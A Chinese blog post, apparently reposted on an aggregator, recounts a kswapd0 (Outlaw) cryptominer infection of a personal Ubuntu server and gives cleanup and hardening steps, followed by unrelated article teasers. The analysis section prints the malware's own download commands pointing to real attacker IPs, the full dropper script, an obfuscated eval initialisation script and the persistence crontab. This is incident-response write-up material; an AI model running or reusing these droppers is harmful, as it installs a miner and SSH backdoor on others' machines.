kswapd0挖矿病毒攻击记录

文章目录

  • 一、起因与病毒分析
    • 1、起因
    • 2、阿里云告警
      • 2.1 恶意脚本代码执行1
      • 2.2 恶意脚本代码执行2
      • 2.3恶意脚本代码执行3
      • 2.4 恶意脚本代码执行4
    • 3、病毒简单分析
      • 3.1 病毒的初始化
      • 3.2 病毒本体执行
    • 4、总结
  • 二、ubuntu自救指南
    • 1、病毒清理
    • 2、如何防御

一、起因与病毒分析

1、起因

最近内网穿透服务以及自建的博客一直掉线，重启服务也不行，用 top 查看发现1个kswapd0进程占用了一整个核（机器是2C4G），遂查刚开始以为是使用swap分区与内存换页操作交换数据造成的，但是清理了缓存仍无果，最终发现被挖矿木马攻击了。

2、阿里云告警

登陆阿里云控制台，也告警了阿里云异地登陆了，云安全中心显示凭证窃取，把我root密码爆破了

2.1 恶意脚本代码执行1

sh -c ./tddwrt7s.sh "http://167.172.213.233/dota3.tar.gz" "http://5.161.227.142/dota3.tar.gz" "http://216.70.68.24/dota3.tar.gz" "http://104.131.132.54/dota3.tar.gz" "http://172.104.46.33/dota3.tar.gz" "http://37.139.10.109/dota3.tar.gz" "http://46.101.132.59/dota3.tar.gz" >.out 2>&1 3>&1

2.2 恶意脚本代码执行2

sh -c wget -q http://161.35.236.24/tddwrt7s.sh || curl -s -O -f http://161.35.236.24/tddwrt7s.sh 2>&1 3>&1

2.3恶意脚本代码执行3

2.4 恶意脚本代码执行4

/root/.configrc5/a/kswapd0

3、病毒简单分析

3.1 病毒的初始化

tddwrt7s.sh脚本内容，脚本主要是下载dota3的病毒文件，并运行初始化

#!/bin/bash
if [ -d "/tmp/.X2y1-unix/.rsync/c" ]; thencat /tmp/.X2y1-unix/.rsync/initall | bash 2>1&exit 0
elsecd /tmprm -rf .sshrm -rf .mountfsrm -rf .X2*rm -rf .X3*rm -rf .X25-unixmkdir .X2y1-unixcd .X2y1-unixRANGE=6s=$RANDOMlet "s %= $RANGE"
if [ $s == 0 ]; thensleep $[ ( $RANDOM % 500 )  + 15 ]scurl -O -f $1 || wget -w 3 -T 10 -t 2 -q --no-check-certificate $1fi
if [ $s == 1 ]; thensleep $[ ( $RANDOM % 500 )  + 5 ]scurl -O -f $2 || wget -w 3 -T 10 -t 2 -q --no-check-certificate $2fi
if [ $s == 2 ]; thensleep $[ ( $RANDOM % 500 )  + 25 ]scurl -O -f $3 || wget -w 3 -T 10 -t 2 -q --no-check-certificate $3fi
if [ $s == 3 ]; thensleep $[ ( $RANDOM % 500 )  + 10 ]scurl -O -f $4 || wget -w 3 -T 10 -t 2 -q --no-check-certificate $4fi
if [ $s == 4 ]; thensleep $[ ( $RANDOM % 500 )  + 30 ]scurl -O -f $5 || wget -w 3 -T 10 -t 2 -q --no-check-certificate $5fi
if [ $s == 5 ]; thensleep $[ ( $RANDOM % 500 )  + 15 ]scurl -O -f $6 || wget -w 3 -T 10 -t 2 -q --no-check-certificate $6fi
if [ $s == 6 ]; thensleep $[ ( $RANDOM % 500 )  + 55 ]scurl -O -f $7 || wget -w 3 -T 10 -t 2 -q --no-check-certificate $7fisleep 60star xvf dota3.tar.gzsleep 10s
#       rm -rf dota3.tar.gzcd .rsynccat /tmp/.X2y1-unix/.rsync/initall | bash 2>1&
fi
exit 0

可以发现首先是运行了/tmp/.X2y1-unix/.rsync/initall脚本，打开发现进行了shell混淆，最后eval命令会执行其后的参数作为Shell命令

z="
";qz=''\''{pr';Fz='& pw';fz=' tsm';Zz=' go>';CBz='{pri';Ez=' ~ &';XBz='p -v';Yz='l -9';Vz='tdd.';wBz='" ];';DCz='2 | ';Az='slee';qBz='p 10';SBz='-9 l';yBz='n';UBz='nux';dz='> .o';nz='-v g';iz='`ps ';Gz='d)';gz='kill';pz='awk ';jBz=' '\''{p';Dz='$(cd';kBz='rint';gBz='grep';oz='rep|';lz='un|g';cBz='t $1';kz='ep r';nBz='cat ';vz='ep g';VBz='ep x';hz=' -9 ';Cz='dir=';RBz='mrig';bBz='prin';GBz='sm|g';HBz='chat';Bz='p 1';Lz='E';CCz='else';xz='ep -';OBz='kr -';lBz=' $1}';Xz='pkil';ABz='ep|a';ZBz='p|aw';tz='`> .';hBz=' -v ';KBz='~/.c';jz='x|gr';pBz=' | s';eBz='ep l';FBz='ep t';fBz='nux|';vBz='grc5';Uz='.x*';Sz='nu.*';LBz='onfi';mBz=''\''`';oBz='init';Tz='.F*';uz='out';ez='ut';aBz='k '\''{';wz='o|gr';Rz='h';yz='v gr';IBz='tr -';cz=' run';WBz='|gre';Wz='sh';rBz='if [';Nz='dev/';ACz='exit';iBz='|awk';Oz='shm/';Jz='tmp/';BCz=' 0';TBz='d-li';Hz='rm -';bz='t';Mz='E*';tBz='"$di';JBz='iaR ';dBz='}'\''`';PBz='all ';BBz='wk '\''';mz='rep ';NBz='lock';ECz='fi';Qz='nu.s';DBz='nt $';az=' .ou';rz='int ';uBz='r/.c';sz='$1}'\''';Iz='rf /';EBz='1}'\''`';xBz=' the';QBz='-9 x';YBz=' gre';MBz='grc*';Kz='.FIL';sBz=' -d ';Pz='var/';
eval "$Az$Bz$z$Cz$Dz$Ez$Fz$Gz$z$Hz$Iz$Jz$Kz$Lz$z$Hz$Iz$Jz$Kz$Mz$z$Hz$Iz$Nz$Oz$Kz$Mz$z$Hz$Iz$Nz$Oz$Kz$Lz$z$Hz$Iz$Pz$Jz$Kz$Lz$z$Hz$Iz$Pz$Jz$Kz$Mz$z$Hz$Iz$Jz$Qz$Rz$z$Hz$Iz$Jz$Sz$z$Az$Bz$z$Hz$Iz$Nz$Oz$Qz$Rz$z$Hz$Iz$Nz$Oz$Sz$z$Hz$Iz$Jz$Tz$z$Hz$Iz$Jz$Uz$z$Hz$Iz$Jz$Vz$Wz$z$Xz$Yz$Zz$az$bz$z$Xz$Yz$cz$dz$ez$z$Xz$Yz$fz$dz$ez$z$gz$hz$iz$jz$kz$lz$mz$nz$oz$pz$qz$rz$sz$tz$uz$z$gz$hz$iz$jz$vz$wz$xz$yz$ABz$BBz$CBz$DBz$EBz$dz$ez$z$gz$hz$iz$jz$FBz$GBz$mz$nz$oz$pz$qz$rz$sz$tz$uz$z$HBz$IBz$JBz$KBz$LBz$MBz$z$NBz$OBz$JBz$KBz$LBz$MBz$z$gz$PBz$QBz$RBz$z$gz$PBz$SBz$TBz$UBz$z$Az$Bz$z$gz$hz$iz$jz$VBz$RBz$WBz$XBz$YBz$ZBz$aBz$bBz$cBz$dBz$z$gz$hz$iz$jz$eBz$TBz$fBz$gBz$hBz$gBz$iBz$jBz$kBz$lBz$mBz$z$nBz$oBz$pBz$Rz$z$Az$qBz$z$rBz$sBz$tBz$uBz$LBz$vBz$wBz$xBz$yBz$z$ACz$BCz$z$CCz$z$nBz$oBz$DCz$Wz$z$ECz$z$ACz$BCz"

我们首先进行解密，利用bash的调试模式即可bash -x xxx.sh，注意这是追踪模式，命令还是会运行，这里主要就是病毒的初始化运行，将一些服务暂停，缓存文件进行删除。后面就是几个脚本的定时执行，加入公钥，修改定时任务，开始挖矿

3.2 病毒本体执行

首先看了一下.ssh，把我的.ssh删除了，加入了它的公钥。然后看一下定时任务，哦吼，定时任务被修改了

crontab -l 5 6 * * 0 /root/.configrc5/a/upd>/dev/null 2>&1
@reboot /root/.configrc5/a/upd>/dev/null 2>&1
5 8 * * 0 /root/.configrc5/b/sync>/dev/null 2>&1
@reboot /root/.configrc5/b/sync>/dev/null 2>&1
0 0 */3 * * /tmp/.X2y1-unix/.rsync/c/aptitude>/dev/null 2>&1

从定时任务可以看出，主要是两个文件目录，一个是/root/.configrc5，还有一个是/tmp/.X2y1-unix（都是隐藏目录，很狡猾），注意还有一个/tmp/up.txt文件，这就是被爆破的root账号密码

# /root/.configrc5目录结构，病毒所在目录
├── a
│   ├── a
│   ├── bash.pid
│   ├── cert_key.pem
│   ├── cert.pem
│   ├── dir.dir
│   ├── init0
│   ├── kswapd0
│   ├── run
│   ├── stop
│   └── upd
├── b
│   ├── a
│   ├── dir.dir
│   ├── run
│   ├── stop
│   └── sync
├── cron.d
└── dir2.dir# /tmp/.X2y1-unix/.rsync目录结构
├── 1
├── a
│   ├── a
│   ├── init0
│   ├── kswapd0
│   ├── run
│   └── stop
├── b
│   ├── a
│   ├── run
│   └── stop
├── c
│   ├── aptitude
│   ├── blitz
│   ├── blitz32
│   ├── blitz64
│   ├── dir.dir
│   ├── go
│   ├── n
│   ├── run
│   ├── start
│   ├── stop
│   └── v
├── dir.dir
├── init
├── init0
├── init2
└── initall/root/.configrc/*      #病毒所在目录
/root/.ssh/          #病毒公钥
/tmp/.X2y1-unix/.rsync/*    #病毒运行缓存文件
/tmp/.X2y1-unix/dota3.tar.gz  #病毒压缩包
/root/.configrc5/a/kswapd0    #病毒主程序

然后就是a.kswapd0和c.blitiz64 两个执行程序，执行程序加入了混淆加密。b.run 是一段perl脚本，可以base64解密。具体的文件代码可以参考，有兴趣的可以研究一下。下载地址

4、总结

Outlaw病毒通过SSH攻击，访问目标系统并下载带有shell脚本、挖矿木马、后门木马的TAR压缩包文件dota3.tar.gz。解压后的文件目录可以看到，根目录rsync下存放初始化脚本，a目录下存放shellbot后门，b目录下存放挖矿木马，c目录下存放SSH攻击程序。

# 常用的日志分析技巧
# 定位有多少IP在爆破主机的root帐号：
grep "Failed password for root" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr | more
# 定位有哪些IP在爆破：
grep "Failed password" /var/log/auth.log|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c
# 爆破用户名字典是什么？
grep "Failed password" /var/log/auth.log|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr# 登录成功的IP有哪些：
grep "Accepted " /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr | more
# 登录成功的日期、用户名、IP：
grep "Accepted " /var/log/auth.log | awk '{print $1,$2,$3,$9,$11}'

二、ubuntu自救指南

1、病毒清理

1、top + kill -9 首先停止可疑进程

2、清理定时任务crontab -e

3、删除相关后门ssh key内容，vim /root/.ssh/authorized_keys

4、删除/tmp目录下缓存文件（不同病毒可能不一样），rm -rf .X2y1-unix/

5、删除病毒目录和文件，rm -rf /root/.configrc5

6、（其他暂时没发现后门，不过我发现病毒给的停止删除命令挺好使的）

2、如何防御

1、修改我们的账号密码，加强复杂度，不要使用口令

2、公有云添加白名单策略，业务端口只允许公司出口IP访问

https://blog.csdn.net/subfate/article/details/106546646

https://www.cnblogs.com/autopwn/p/17355657.html

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.hqwc.cn/news/502685.html

如若内容造成侵权/违法违规/事实不符，请联系编程知识网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

颠覆好莱坞，Sora最强竞对LTX Studio发布，普通人也能手搓电影

颠覆好莱坞，Sora最强竞对LTX Studio发布，普通人也能手搓电影

2月29日&#xff0c;著名AI平台Lightricks在官网宣布&#xff0c;推出生成式AI电影制作平台—LTX Studio。用户只需要输入文本就能生成超25秒的微电影视频&#xff0c;同时可对镜头切换、角色、场景一致性、摄像机、灯光等进行可视化精准控制。 Sora生成的视频由神经网络完成&…
阅读更多...
HTML---Ajax

HTML---Ajax

文章目录 目录 文章目录 前言 一.Ajax概述 二.原生创建Ajax 三,使用Jquery处理Ajax 总结 一.Ajax概述 AJAX&#xff08;Asynchronous Javascript And XML&#xff09;是一种创建交互式网页应用的网页开发技术。它使用Javascript语言与服务器进行异步交互&#xff0c;可以传…
阅读更多...
你敢信？软件测试万能面试脚本他来了？

你敢信？软件测试万能面试脚本他来了？

写在前面&#xff1a; 过春节了&#xff0c;四舍五入接下来马上要年底了&#xff0c;新一波的跳槽旺季马上来临&#xff0c;不知道你是不是已经安于现状&#xff0c;还是蓄势待发呢&#xff1f;最近我和我的哈皮群友们一顿讨论&#xff0c;拟写了大家可能会遇到的面试情况&…
阅读更多...
根据二层封装协议决定—网络类型

根据二层封装协议决定—网络类型

目录 一、网络类型的分类 二、数据链路层协议 MA网络 以太网协议 P2P网络 一、网络类型的分类 P2P --- point to point --- 点到点网络 MA --- Multi-Access Network --- 多点接入网络 BMA --- Broadcast Multi-Access Network --- 广播型多点接入网络 NBMA --- Non-Bro…
阅读更多...
AttributeError: ‘list‘ object has no attribute ‘view‘

AttributeError: ‘list‘ object has no attribute ‘view‘

问题描述 训练yolov9的时候遇到了下面的问题。 In loss_tal.py: pred_distri, pred_scores torch.cat([xi.view(feats[0].shape[0], self.no, -1) for xi in feats], 2).split( (self.reg_max * 4, self.nc), 1) The error is as follows&#xff1a; AttributeError: list …
阅读更多...
windows server mysql 数据库停止 备份 恢复全流程操作方法

windows server mysql 数据库停止 备份 恢复全流程操作方法

一,mysql备份 mysql最好是原工程文件备份.不需要sql查询的方式备份.安全高效. 比如,安装php与mysql组合后,我的mysql文件保存在: D:\phpstudy_pro\Extensions\MySQL5.7.26\data\dux 我只需要复制一份,保存起来就行. 二,mysql恢复 怎么恢复呢.我们一般是只恢复其中一个表,则找…
阅读更多...
在vue2中使用饼状图

在vue2中使用饼状图

1.引入vue2和echarts <script src"https://cdn.jsdelivr.net/npm/vue2.7.14/dist/vue.js"></script> <script src"https://cdn.jsdelivr.net/npm/echarts5.4.0/dist/echarts.min.js"></script> 2.1 补充基本的body内容 <div id…
阅读更多...
力扣SQL50 文章浏览 I 查询

力扣SQL50 文章浏览 I 查询

Problem: 1148. 文章浏览 I 思路 distiinct&#xff1a;表示检索唯一元素order by&#xff1a;排序 Code select distinct viewer_id id from Views where viewer_id author_id order by id;
阅读更多...
2326. 王者之剑（网络流，最小割，最大权独立集，最小点权覆盖）

2326. 王者之剑（网络流，最小割，最大权独立集，最小点权覆盖）

活动 - AcWing 给出一个 nm 网格&#xff0c;每个格子上有一个价值 vi,j 的宝石。 Amber 可以自己决定起点&#xff0c;开始时刻为第 0 秒。 以下操作&#xff0c;在每秒内按顺序执行。 若第 i 秒开始时&#xff0c;Amber 在 (x,y)&#xff0c;则 Amber 可以拿走 (x,y) 上的…
阅读更多...
​MPV，汽车产品里一个特殊品类的进化过程

​MPV，汽车产品里一个特殊品类的进化过程

「汽车」可能是整个工业革命以来&#xff0c;所诞生出的最有趣的工业产品。 它不仅能产生工业的机械美&#xff0c;还诞生了一个独立的文化体系&#xff0c;在汽车的发展过程中&#xff0c;我们也能看到一些本来应功能而诞生的产品&#xff0c;最终走向了千家万户。 MPV 就是…
阅读更多...
Transformer之Positional Encoding

Transformer之Positional Encoding

Representing The Order of The Sequence Using Positional Encoding 正如我们到目前为止所描述的那样&#xff0c;模型中缺少的一件事是解释输入序列中单词顺序的方法。 为了解决这个问题&#xff0c;transformer 在每个输入嵌入中添加一个矢量。这些向量遵循模型学习的特定…
阅读更多...
String类的使用

String类的使用

String常用的构造方法 String的源码 内部是一个数组和hash值&#xff0c;涉及到常量池后续补充&#xff08;常量池&#xff1a;存储相同的字符时只会存储一租&#xff09; String的比较 equals()与&#xff1a;String里面为我们提供了许多方法&#xff0c;可直接调用&#xf…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023